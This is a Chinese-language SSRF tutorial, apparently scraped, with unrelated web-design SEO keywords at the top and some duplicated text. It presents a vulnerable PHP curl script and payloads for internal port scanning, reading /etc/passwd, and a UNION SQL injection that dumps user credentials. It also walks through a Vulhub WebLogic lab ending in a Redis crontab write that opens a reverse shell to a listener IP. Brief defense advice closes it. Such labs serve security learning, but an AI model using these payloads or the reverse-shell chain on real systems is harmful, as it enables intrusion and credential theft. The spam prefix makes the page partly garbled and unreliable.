福州网站建设哪个好,网页被禁止浏览怎么解决,平面设计软件下载,网站模板购买 优帮云SSRF概述
服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL#xff0c;Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。
如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤#xff0c;就有可能存在“请求伪造”的…SSRF概述
服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URLWeb 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。
如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤就有可能存在“请求伪造”的缺陷。“请求伪造”顾名思义攻击者伪造正常的请求以达到攻击的目的。如果“请求伪造”发生在服务器端那这个漏洞就叫做“服务器端请求伪造”英文名字Server Side Request Forgery简称SSRF。
SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。
SSRF 场景
php实现
利用curl 实现需要PHP 扩展组件curl 支持。
// ssrf_curl.php
if(isset($_REQUEST[url])){$link $_REQUEST[url];$fileName ./curled/.time()..txt;$curlObj curl_init($link);$fp fopen($fileName,w);curl_setopt($curlObj,CURLOPT_FILE,$fp);curl_setopt($curlObj,CURLOPT_HEADER,0);curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);curl_exec($curlObj);curl_close($curlObj);fclose($fp);if(getimagesize($fileName)){header(Content-Type:image/png);}$fp fopen($fileName,r);$result fread($fp,filesize($fileName));fclose($fp);echo $result;
}else{echo ?url[url];
}SSRF 原理
服务器接受了来自于客户端的URL 地址并由服务器发送该URL 请求。
对用户输入的URL 没有进行恰当的过滤导致任意URL 输入。
没对响应的结果进行检验直接输出。
SSRF危害 端口扫描 内网Web 应用指纹识别 攻击内网应用 读取本地文件
SSRF攻防
SSRF利用
文件访问
?urlhttp://www.baidu.com
?urlhttp://www.baidu.com/img/bd_logo.png
?urlhttp://www.baidu.com/robots.txt端口扫描
?urlhttp://127.0.0.1:80
?urlhttp://127.0.0.1:3306
?urldict://127.0.0.1:3306
?urlhttp://10.10.10.1:22
?urlhttp://10.10.10.1:6379读取本地文件
?urlfile:///c:/windows/system32/drivers/etc/hosts
?urlfile:///etc/passwd
?urlfile:/c:/www/ssrf/ssrf_curl.php内网应用指纹识别
有些应用是部署在内网的。
Directory c:\www\phpMyAdmin#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1
/Directory内网应用指纹识别
?urlhttp://127.0.0.1/phpmyadmin/readme攻击内网web应用
内网安全通常都很薄弱。
Directory c:\www\cms#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1
/Directory通过SSRF 漏洞可以实现对内网的访问从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。
?urlhttp://127.0.0.1/cms/show.php?
id-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_
users
?urlhttp://127.0.0.1/cms/show.php?
id-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_usersSSRF实例
https://vulhub.org/#/environments/weblogic/ssrf/
判断ssrf漏洞
访问
http://10.4.7.137:7001/uddiexplorer/漏洞存在于http://10.4.7.137:7001/uddiexplorer/SearchPublicRegistries.jsp
提交搜索并抓包
将此处url解码 点击send发送
获取response然后右键response发送给compare 然后将url修改为百度再次重复操作 修改url后伪造服务器请求资源并且收到response即存在ssrf
探查内网端口开放情况
端口开放时会返回404相关错误虽然没有目录但是能访问服务器 使用localhost也可以 端口未开放时则返回无法连接类错误 探查内网ip
由于已知7001端口开放因此可以用该端口探测内网中存活的ip
不存在时即返回无法连接 探测内网地址可以使用爆破
从ssrf利用到redis未授权访问
由于这是容器看一下redis的端口 docker环境的网段一般是172
此处直接看一下配置文件看看ip
sudo docker ps -asudo docker exec -it 8 /bin/bash这个就是ip 验证一下开放没 发现开放
从redis未授权访问到getshell
将脚本写进去
set 1 \n\n\n\n* * * * * root bash -c sh -i /dev/tcp/10.4.7.137/777 01\n\n\n\n
config set dir /etc/
config set dbfilename crontab
save
aaa圈圈的地方要修改监听ip和监听端口 将脚本文件url编码send等待一会收到shell SSRF防御
过滤输入 限制协议仅允许 http 或 https 协议(防止使用gopher协议) 限制IP避免应用被用来获取内网数据攻击内网 限制端口限制请求端口为常用端口。
过滤输出 过滤返回信息只要不符合要求的全部过滤 统一错误信息让攻击无法对内网信息进行判断。
SSRF挖掘
web功能url关键字分享转码服务在线翻译图片加载与下载图片、文章收藏功能未公开的API实现…sharewapurllinksrcsourcetargetu3gdisplaysourceURLimageURLdomain…